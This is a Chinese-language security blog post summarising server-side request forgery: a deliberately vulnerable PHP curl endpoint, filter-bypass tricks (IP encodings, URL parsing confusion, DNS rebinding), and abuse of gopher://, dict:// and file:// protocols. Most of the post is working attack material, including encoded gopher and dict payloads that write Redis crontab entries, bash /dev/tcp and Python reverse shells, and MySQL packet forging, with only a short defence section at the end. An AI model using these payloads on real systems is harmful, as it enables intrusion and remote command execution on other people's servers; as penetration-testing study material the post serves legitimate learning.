Learning Man's Blog

SSRF 小结

字数统计: 3.3k阅读时长: 14 min
2019/07/16

先上一张老图:3

环境

  1. kali 设置 nginx + php

     # /etc/nginx/sites-enabled/default
     location ~ \.php$ {
         include snippets/fastcgi-php.conf;
         # With php-fpm (or other unix sockets):
         fastcgi_pass unix:/run/php/php7.3-fpm.sock;
         # With php-cgi (or other tcp sockets):
     #   fastcgi_pass 127.0.0.1:9000;
     }
  2. 添加 ssrf 文件

     <?php
         $ch = curl_init(); 
         curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
         # curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
         curl_setopt($ch, CURLOPT_HEADER, 0); 
         # curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
         curl_exec($ch); 
         # $output = curl_exec($ch);
         curl_close($ch); 
     ?>

0x00 验证方法

http://baidu.com/?url=<ssrf>
  1. F12 查看 network 是否由服务端发起请求
  2. 利用 Dnslog 等记录查看请求来源
  3. 修改访问端口查看返回内容
  4. 盲打 SSRF (gopher)注意不加 quit 返回时间

0x01 常见攻击方式

  1. RCE
    1. gopher:// 配合 TCP 流打 payload
    2. http:// 打 RCE,包括不限于 struts2
  2. file://读文件、phar://协议反序列化、gopher:// & tcp 读应用内数据、请求(如:邮件伪造)
  3. 探测内网IP、Port、Service
  4. 内网代理

0x02 常用工具

盲打

  1. quit:发送时候不携带 quit 则会一直保持连接,所以分两次执行简单命令,看携带、不携带 quit 时间差异是不是很明显
  2. 命令执行:配合比如 dnslog 或者其他记录

0x03 常见绕过姿势

主要聚焦在 IP、Host 白名单绕过

i. IP 格式

192.168.0.1

  1. 8进制格式:0300.0250.0.1
  2. 16进制格式:0xC0.0xA8.0.1
  3. 10进制整数格式:3232235521
  4. 16进制整数格式:0xC0A80001

还有一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1

  1. http://0/
  2. http://127.1/
  3. 利用ipv6绕过,http://[::1]/
  4. http://127.0.0.1./

ii. 不一致性

  1. 主要体现在 URI 语法的解读上
http://www.qq.com.sari3l.com
http://[email protected]
http://sari3l.com#www.qq.com
...

iii. 特殊字符

http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

iv. 302 Redirect

127.0.0.1.xip.io -> 127.0.0.1
www.127.0.0.1.xip.io -> 127.0.0.1

v. DNS Rebinding

DNS重绑定可以利用于ssrf绕过 ,bypass 同源策略等

我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。

  1. 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  2. 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  3. 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址
  4. 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

0x04 常用协议

Gopher://

查了很多资料,Gopher 的详细解析基本已经消失了,只留下 RFC 文件 以及 wiki 有比较详细的说明

但实际用起来感觉对<gopher-path>的解析存在疑问

-w592

Url Syntax

目前网上大致都是如下 URL 格式:

URL:gopher://<host>:<port>/_payload

需要注意的点:

  • \r字符串替换成%0d%0a
  • 空白行替换为%0a
  • 空格替换成%20
  • urlencode(视情况)

然而在实际测试中,基本如下:

URL:gopher://<host>:<port>/<single-char><tcp-stream>
  • single-char:任意单个字符
  • tcp-stream:tcp 流数据

需要注意的点:

  • \r\n字符串替换成%0d%0a(注:\n不可见)
  • 空白行替换为%0a
  • 空格替换成%09%20
  • 最后的quit可以不用跟换行
  • getset命令允许将\r\n替换为%0a
  • 如果直接打 gopher 协议,还需将$编码为%24

Tcp Stream

为什么在<single-char>后能填充 payload?
相关内容并没有在网上直接看到,但是通过 wireshark 抓包可以看到这部分在数据包中位置是 Tcp payload

-w622

跟一下 tcp 流

-w786

通过这一点,就可以拿来配合各种常见应用操作对应的 tcp 数据流进行攻击了

HTTP Method

各种 method 利用方式基本一致,下面以 POST 为例

> curl -v "gopher://127.0.0.1:8080/^POST / HTTP/1.1%0d%0a"

和直接发送 HTTP 数据包不同,Gopher 下请求 POST ,可以看到会在三次握手后发送一个 PSH 标志,表明缓冲区内有数据需要发送,可以在流量中看到,在得到服务端响应后构造 HTTP 数据包再发送

-w1334

Dict://

RFC:https://tools.ietf.org/html/rfc2229

-w601

Url Syntax

在不需要认证的情况下,可以直接使用以下命令

URL:dict://<host>:<port>/<command>:<data1>:<data2>[:<dataN>]

简单的说,就是只能执行一条(行)命令

注意到下图中为什么还返回了一个+OK

实际上是 dict 自己在末尾加了%0d%0aQUIT%0d%0a退出命令

-w606

File://

读文件

Url:file://<path>
Url:file://<host>/<path>    # 不能加端口

HTTP(s)://

需要有 crlf 漏洞解析%0d%0a,但同时注意会因为多余的内容(headers)产生报错

很少碰到案例,放一张老图

Tftp://

主要用来发送 UDP 包,与 gopher 类似,可以用来向UDP服务发起请求,比如 Memcache 和 REDIS-UDP

通过设置timeout=1可快速断开连接并防止重发

-w1084

其他协议

  • sftp://:CVE-2015-1782:在libssh2 1.4.3及之前版本的kex_agree_methods函数存在安全漏洞
  • ldap://、ldaps://、ldapi://:ldapi 在高级版本 curl 不予支持,其余两者暂未知如何利用
    -w1012
  • imap/imaps/pop3/pop3s/smtp/smtps:破邮件用户名密码

0x05 攻击应用

Redis

Redis Protocol specification

常见的 Redis 未授权访问有三种方式

  • crontab:计划任务反弹 shell
  • ssh:写公钥登录
  • webshell:需要绝对路径

auth 认证

如果开启密码认证,如下设置密码123456

# /etc/redis/redis.conf
requirepass 123456

对应在redis-cli中需要添加-a参数进行 auth 认证

> redis-cli -h <host> -p <port> -a <password> <command>

socat 观察可以看到会先进行 auth 认证再执行命令

-w372

在官方文档中提到Redis是Request-Response model

-w893

大致意思是说Redis客户端支持管道操作,可以通过单个写入操作发送多个命令,而无需在发出下一个命令之前读取上一个命令的服务器回复,并在最后统一回复

所以在攻击 payload 前添加一段认证语句即可

gopher://127.0.0.1:6379/^*2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123456%0d%0a<gopher payload>

例如执行get cc

-w1004


可以利用这点进弱口令爆破

  • 有回显:错误密码回显ERR invalid password
  • 无回显:需要配合生成文件、计划命令执行等操作进行验证

crontab

# $1 -> <ip>
# $2 -> <port>
> redis-cli -h $1 -p $2 flushall
> echo -e "\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/9999 0>&1'\n\n"|redis-cli -h $1 -p $2 -x set 1
> redis-cli -h $1 -p $2 config set dir /var/spool/cron/crontabs/
> redis-cli -h $1 -p $2 config set dbfilename root
> redis-cli -h $1 -p $2 save
> redis-cli -h $1 -p $2 quit

之所以将计划任务通过管道符 | 配合 -x 填入,是因为 redis-cli set 的话\n会被转义成\\n导致在计划任务中无法执行

cron
| with -x -w558
set -w563

Attack with Gopher://

首先利用 socat 获取 tcp 流量

> socat -v tcp-listen:6373,fork tcp-connect:localhost:6379

流比较长,将请求部分按照 gopher 那节进行转换

-w478

转换出的 gopher Url,记得末尾加个quit

gopher://127.0.0.1:6379/^*1%0d%0a%248%0d%0aflushall%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0ac%0d%0a%2472%0d%0a%0a%0a*/1 * * * * /bin/bash/ -c 'bash -i >& /dev/tcp/127.0.0.1/9999 0>&1'%0a%0a%0a%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2425%0d%0a/var/spool/cron/crontabs/%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%244%0d%0aroot%0d%0a*1%0d%0a%244%0d%0asave%0d%0aquit

执行攻击结果

-w836

Attack with Dict://

这个就简单的多,一条一条请求,脚本化比较好,避免中间有其他人插入数据

可以注意到,dict 会同时发送客户端版本,不过不构成命令所以无影响

-w604

-w600

注意:经测试,在 dict 中 ' 内不能跟 bash 而只能写 sh,否则会乱码,暂时未找到解决方法

注意:因为这里set c <value>是直接 tcp 流过去的,与redis-cli中不同,所以可以直接执行 set 命令,有兴趣可以自己跟下流量

dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/set:c:"\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/9999 0>&1'\n\n"
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron/crontabs/
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/save

使用 curl 携带 payload 如下

> curl -v "dict://127.0.0.1:6379/set:c:\"\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/9999 0>&1'\n\n\""

同理 payload 作为参数时,还需要 urlencode 一次

-w835

crontab 注意事项

Centos定时任务在 /var/spool/cron/root
Ubuntu定时任务在 /var/spool/cron/crontabs/root

Debian的系统日志里面没有crontab这一项,可以手动开启,方便检查

> vim /etc/rsyslog.conf
    cron.*                          /var/log/cron.log   # 取消注释
> /etc/init.d/rsyslog restart

另外,redis 会将文件权限改为644,debian 下不能执行,ubuntu 也不行

-w485

错误日志如下

-w562


以下实在不想测试了,直接摘文章

写入/etc/crontab的时候,由于存在乱码,所以会导致ubuntu不能正确识别,导致定时任务失败。

  • 如果写/etc/crontab,由于存在乱码,语法不识别,会导致ubuntu不能正确识别,导致定时任务失败。
  • 如果写/var/spool/cron/crontabs/root,权限是644,ubuntu不能运行。

所以ubuntu下使用redis写crontab是无法成功反弹shell的

如果只能写文件,想写crontab反弹shell,对于CentOS系来说:

  • 写/etc/crontab文件
  • 使用python反弹shell脚本
*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

FastCGI

直接上文章,懒得搭环境了

https://www.angelwhu.com/blog/?p=427

Mysql

MySQL 通信协议

MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:

  • Unix套接字;
  • 内存共享/命名管道;
  • TCP/IP套接字;

在Linux或者Unix环境下,当我们输入mysql –u root –p root(注意没有-h)登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用

在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式

TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql –h 127.0.0.1 –u root –p root时就是使用的TCP/IP套接字

MySQL 认证过程

MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。

MySQL客户端与服务器的交互主要分为两个阶段:Connection Phase(连接阶段或者叫认证阶段)和Command Phase(命令阶段)。在连接阶段包括握手包和认证包,这里我们不详细说明握手包,主要关注认证数据包

数据包格式暂时不用太过了解,直接使用程序伪造即可

构造数据包

可以本地使用套接字登录,wireshark、tcpdump 获取 Mysql 数据包

最好是完整的数据包,包括连接认证命令执行退出四个步骤,其中退出数据包可以直接使用\r\n代替

简单测试,创建一个 nopass 用户并授予全部权限

> CREATE USER 'nopass'@'localhost';
> GRANT USAGE ON *.* TO 'nopass'@'localhost';
> GRANT ALL ON *.* TO 'nopass'@'localhost';

然后登录并查询一下用户,将 tcp 流获取下来(这里没有执行退出,所以最后要加\r\n

-w613

利用 Python 转换成 urlencode

tc = "<tcp_stream_hex>"
a = [tc[i:i+2] for i in range(0, len(tc), 2)]
print '%'.join(a)

最后利用 gopher:// 打一下,OK

-w1664

Udf 反弹 shell

环境有点麻烦,暂时直接上文章

简单的话,本地利用 sqlmap 抓一下tcp流量直接打过去

> sqlmap -d "mysql://root:[email protected]:3306/test" --os-shell

需要注意:

  1. plugin_dir:路径需要和目标匹配
  2. so 兼容性:sqlmap 自带的有时会出现一些问题

其它

只要是基于Tcp Stream且无交互的点,都可以直接进行攻击

Udp可基于tftp://但尚未测试

0x06 防御

  1. 限制协议为HTTP、HTTPS

     curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
  2. 禁止30x跳转

     删掉或注释 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3. 设置白名单或限制内网ip

  4. 设置 DNS 缓存,在访问前进行对比

参考文章

CATALOG
  1. 1. 环境
  2. 2. 0x00 验证方法
  3. 3. 0x01 常见攻击方式
  4. 4. 0x02 常用工具
    1. 4.1. 盲打
  5. 5. 0x03 常见绕过姿势
    1. 5.1. i. IP 格式
    2. 5.2. ii. 不一致性
    3. 5.3. iii. 特殊字符
    4. 5.4. iv. 302 Redirect
    5. 5.5. v. DNS Rebinding
  6. 6. 0x04 常用协议
    1. 6.1. Gopher://
      1. 6.1.1. Url Syntax
      2. 6.1.2. Tcp Stream
      3. 6.1.3. HTTP Method
    2. 6.2. Dict://
      1. 6.2.1. Url Syntax
    3. 6.3. File://
    4. 6.4. HTTP(s)://
    5. 6.5. Tftp://
    6. 6.6. 其他协议
  7. 7. 0x05 攻击应用
    1. 7.1. Redis
      1. 7.1.1. auth 认证
      2. 7.1.2. crontab
      3. 7.1.3. Attack with Gopher://
      4. 7.1.4. Attack with Dict://
        1. 7.1.4.1. crontab 注意事项
    2. 7.2. FastCGI
    3. 7.3. Mysql
      1. 7.3.1. MySQL 通信协议
      2. 7.3.2. MySQL 认证过程
      3. 7.3.3. 构造数据包
      4. 7.3.4. Udf 反弹 shell
    4. 7.4. 其它
  8. 8. 0x06 防御
  9. 9. 参考文章